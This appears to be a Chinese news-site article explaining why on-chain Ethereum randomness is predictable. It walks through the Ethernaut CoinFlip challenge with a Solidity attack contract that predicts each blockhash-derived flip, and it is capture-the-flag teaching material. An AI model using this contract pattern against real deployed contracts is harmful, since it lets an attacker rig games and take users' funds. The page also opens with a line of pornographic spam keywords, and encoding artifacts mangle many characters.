国产麻豆精品福利在线观看,亚洲人亚洲精品成人网站,亚洲熟妇无码AV另类VR影视,欧美A级毛欧美1级A大片免费播放

您的位置:首頁 > 互聯(lián)網 >

以太坊區(qū)塊鏈只有偽隨機性 提供兩種主要加密散列函數

2019-06-20 17:27:03 來源: 區(qū)塊鏈研究實驗室

以太坊如何產生隨機性以太坊區(qū)塊鏈上沒有真正的隨機性,只有被認為足夠好的隨機生成器。開發(fā)人員目前通過在以太坊中的散列獨特性或難以篡改

以太坊如何產生“隨機性”

以太坊區(qū)塊鏈上沒有真正的隨機性,只有被認為“足夠好”的隨機生成器。

開發(fā)人員目前通過在以太坊中的散列獨特性或難以篡改性的變量創(chuàng)建偽隨機性。此類變量的示例包括transaction timestamp, sender address, block height 。

以太坊提供兩種主要的加密散列函數,即SHA-3和較新的KECCAK256,它們對這些輸入變量的串聯(lián)字符串進行散列。

最終生成的哈希被轉換為一個大整數,然后由n修改。 這是為了得到一組離散的概率整數,在0到n的期望范圍內。

請注意,在我們的Ethernaut練習中,n = 2代表硬幣翻轉的兩面。

這種在智能合約中導出偽隨機性的方法很容容易受到攻擊。如果知道輸入的黑客可以結此猜出“隨機”結果。

這就是解決CoinFlip級別的關鍵。 在這里,確定硬幣翻轉的輸入變量對于您來說是公開的。

詳情演練

我們來創(chuàng)建一個惡意智能合約,檢查硬幣翻轉的結果。

只有當你正確猜到了結果時,你才能調用真實合約的翻轉(bool _guess)函數。

1、在Remix IDE中,創(chuàng)建一個與CoinFlip.sol相關的惡意合同:

contract hackCoinFlip {

CoinFlip public originalContract = CoinFlip(

"your instance address");

uint256 FACTOR = 578960446186580977117854925043439539266349923

32820282019728792003956564819968;

function hackFlip(bool _guess) public {

//TODO

}

}

2、實現hackFlip()函數,使用與原始智能合約相同的邏輯和輸入變量來預測翻轉結果。 既然你知道blockhash和block.number,那么你就能準確預測正確的_guess。

function hackFlip(bool _guess) public {

// pre-deteremine the flip outcome

uint256 blockValue = uint256(block.blockhash(block.number-1));

uint256 coinFlip = blockValue / FACTOR;

bool side = coinFlip == 1 ? true : false;

// If I guessed correctly, submit my guess

if (side == _guess) {

originalContract.flip(_guess);

} else {

// If I guess incorrectly, submit the opposite

originalContract.flip(!_guess);

}

}

3、調用你的hackFlip()函數10次。當您做出正確的猜測時,原始智能合約的consecutiveWins計數器應該逐步增加。

關鍵安全要點

1. 沒有真的隨機性。

2. 在計算智能合約中的“隨機性”時(或者甚至從現有的隨機數庫繼承)時要格外注意。 如果您使用隨機性來確定比賽獲勝者,請記住,對手可以輕松猜出隨機結果并破解您的游戲!(鏈三豐)

關鍵詞: 以太坊 偽隨機 加密散列函數

精選 導讀

募資55億港元萬物云啟動招股 預計9月29日登陸港交所主板

萬科9月19日早間公告,萬物云當日啟動招股,預計發(fā)行價介乎每股47 1港元至52 7港元,預計9月29日登陸港交所主板。按發(fā)行1 167億股計算,萬

發(fā)布時間: 2022-09-20 10:39
管理   2022-09-20

公募基金二季度持股情況曝光 隱形重倉股多為高端制造業(yè)

隨著半年報披露收官,公募基金二季度持股情況曝光。截至今年二季度末,公募基金全市場基金總數為9794只,資產凈值為269454 75億元,同比上

發(fā)布時間: 2022-09-02 10:45
資訊   2022-09-02

又有上市公司宣布變賣房產 上市公司粉飾財報動作不斷

再有上市公司宣布變賣房產。四川長虹25日稱,擬以1 66億元的轉讓底價掛牌出售31套房產。今年以來,A股公司出售房產不斷。根據記者不完全統(tǒng)

發(fā)布時間: 2022-08-26 09:44
資訊   2022-08-26

16天12連板大港股份回復深交所關注函 股份繼續(xù)沖高

回復交易所關注函后,大港股份繼續(xù)沖高。8月11日大港股份高開,隨后震蕩走高,接近收盤時觸及漲停,報20 2元 股。值得一提的是,在7月21日

發(fā)布時間: 2022-08-12 09:56
資訊   2022-08-12

萬家基金再添第二大股東 中泰證券擬受讓11%基金股權

7月13日,中泰證券發(fā)布公告,擬受讓齊河眾鑫投資有限公司(以下簡稱齊河眾鑫)所持有的萬家基金11%的股權,交易雙方共同確定本次交易的標的資

發(fā)布時間: 2022-07-14 09:39
管理   2022-07-14

央行連續(xù)7日每天30億元逆回購 對債市影響如何?

央行12日再次開展了30億元逆回購操作,中標利率2 10%。這已是央行連續(xù)7日每天僅進行30億元的逆回購縮量投放,創(chuàng)下去年1月以來的最低操作規(guī)

發(fā)布時間: 2022-07-13 09:38
資訊   2022-07-13

美元指數創(chuàng)近20年新高 黃金期貨創(chuàng)出逾9個月新低

由于對美聯(lián)儲激進加息的擔憂,美元指數11日大漲近1%創(chuàng)出近20年新高。受此影響,歐美股市、大宗商品均走弱,而黃金期貨創(chuàng)出逾9個月新低。美

發(fā)布時間: 2022-07-13 09:36
資訊   2022-07-13

美股三大股指全線下跌 納斯達克跌幅創(chuàng)下記錄以來最大跌幅

今年上半年,美股持續(xù)回落。數據顯示,道瓊斯指數上半年下跌15 3%,納斯達克綜合指數下跌29 5%,標普500指數下跌20 6%。其中,納斯達克連續(xù)

發(fā)布時間: 2022-07-04 09:51
推薦   2022-07-04

融資客熱情回升 兩市融資余額月內增加超344億元

近期A股走強,滬指6月以來上漲4%,融資客熱情明顯回升。數據顯示,截至6月16日,兩市融資余額1 479萬億元,月內增加344 67億元,最近一個半

發(fā)布時間: 2022-06-20 09:41
資訊   2022-06-20

4個交易日凈買入超百億元 北向資金持續(xù)流入A股市場

北向資金凈流入態(tài)勢延續(xù)。繼6月15日凈買入133 59億元后,北向資金6月16日凈買入44 52億元。自5月27日至今,除6月13日以外,北向資金累計凈

發(fā)布時間: 2022-06-17 09:37
推薦   2022-06-17